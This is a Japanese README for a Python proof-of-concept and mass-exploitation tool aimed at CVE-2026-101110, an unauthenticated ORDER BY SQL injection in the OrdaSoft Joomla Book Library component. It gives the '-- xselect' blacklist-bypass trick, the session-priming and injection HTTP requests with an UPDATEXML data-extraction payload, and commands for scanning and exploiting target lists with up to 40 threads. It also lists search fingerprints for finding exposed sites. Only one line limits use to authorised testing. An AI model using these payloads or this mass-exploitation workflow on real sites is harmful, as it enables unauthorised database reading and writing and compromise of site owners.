
CVE-2026-101110(OrdaSoft Joomla Book Library <=6.4.6 における field/direction パラメータを介した未認証の ORDER BY SQL インジェクション)に対する Python 3 の PoC および一括エクスプロイト。
Joomla ≤ 6.4.6 向け OrdaSoft Book Library (Free) の CVE-2026-101110 に対するPython 3 PoC。6.4.7+ にアップグレードしてください。
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| カタログ | https://pocbit.org/pocs/ |
| コンポーネント | com_booklibrary |
| ファイル / 関数 | site/booklibrary.php → books() |
| パラメータ | field、direction (ソート) |
| 認証 | なし (公開書籍一覧) |
| CWE | CWE-89 SQLインジェクション |
| CVSS 4.0 | 9.3 緊急 (Joomla CNA) |
| クレジット | Ala Arfaoui |
Book Library (Free) は、Joomlaで書籍ライブラリ / カテゴリ一覧を提供するOrdaSoftの拡張機能です。6.4.6以前のバージョンでは、books() 関数が field および direction パラメータを protectInjectionWithoutQuote() でフィルタリングします。この関数は select 部分文字列を検索するだけの弱いブラックリストを実装しており、見つかった場合は値を $db->quote() で囲むだけで、拒否はしません。
値はその後、クォートされていない ORDER BY 式に追加されます — ここでクォートを使用しても SQLインジェクションを防ぐことはできません (CNAの説明)。
悪用には2つの条件があります:
field / direction) 値を書き込みます。 -- xselect デコイコメントを追加します。これによりブラックリストチェックを通過し、SQLコメントは残りのペイロードに影響を与えません。結果: 認証なしでの ORDER BY SQLi、データベースの読み書き、およびサイトの完全性に対する重大なリスク。
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
弱いフィルタ (概念):
select (部分文字列) が含まれる → 値全体をクォートで囲む (ORDER BYコンテキストでは無関係)。-- xselect を追加することで、ブラックリストは コメント末尾 内の select を検出する一方、-- より前の アクティブな 式は実行可能なSQLのままとなる (エラーベース / UPDATEXML / スタックドORDER BYトリック)。PoCの実装:
| ステップ | アクション |
|---|---|
| フィンガープリント | com_booklibrary パス + オプションのマニフェストバージョン |
| ルート探索 | showCategory、search、showBooks、books、… + スクレイプされた catid / Itemid |
| check | セッションをプライム → SQLiを確認 (フラグ / VERSION()) |
| exploit | プライム → --subquery 抽出 (デフォルト SELECT VERSION()) |
| mass | --list + -j 並列ターゲット; リーク成功時に exploited.txt |
コード内のペイロードサフィックス定数: -- xselect (BLACKLIST_DECOY)。
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| フラグ | 意味 |
|---|---|
--aggressive | checkモードでプライム後にバージョンリークを試行 |
--subquery | UPDATEXML / ダブルクエリペイロード用の内部式 |
--exploited-list | タブ区切りの抽出成功結果 |
--no-color | ANSIを無効化 (NO_COLOR も可) |
JSONL: pocbit、pocbit_catalog、pocbit_page、cve、component、session_primed。
プライム (セッション):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
インジェクト (PoCがデコイを追加):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
GETが失敗した場合、同じルートでPOSTバリアントが試行されます。
マニフェスト (公開されている場合):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → 脆弱な行; ≥ 6.4.7 → 修正済み (check出力の patched_version)。
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | 拡張機能 | 問題 | 修正版 |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + ブラックリストバイパス | 6.4.7 |
| CVE-2026-101111 | Book Library | 反射型XSS (title パラメータ) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
デプロイしている すべての OrdaSoftコンポーネントにパッチを適用してください。
com_booklibrary SQLi (CVE-2010-1522) — 異なるコードパス許可されたテストおよびパッチ検証のみ。
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110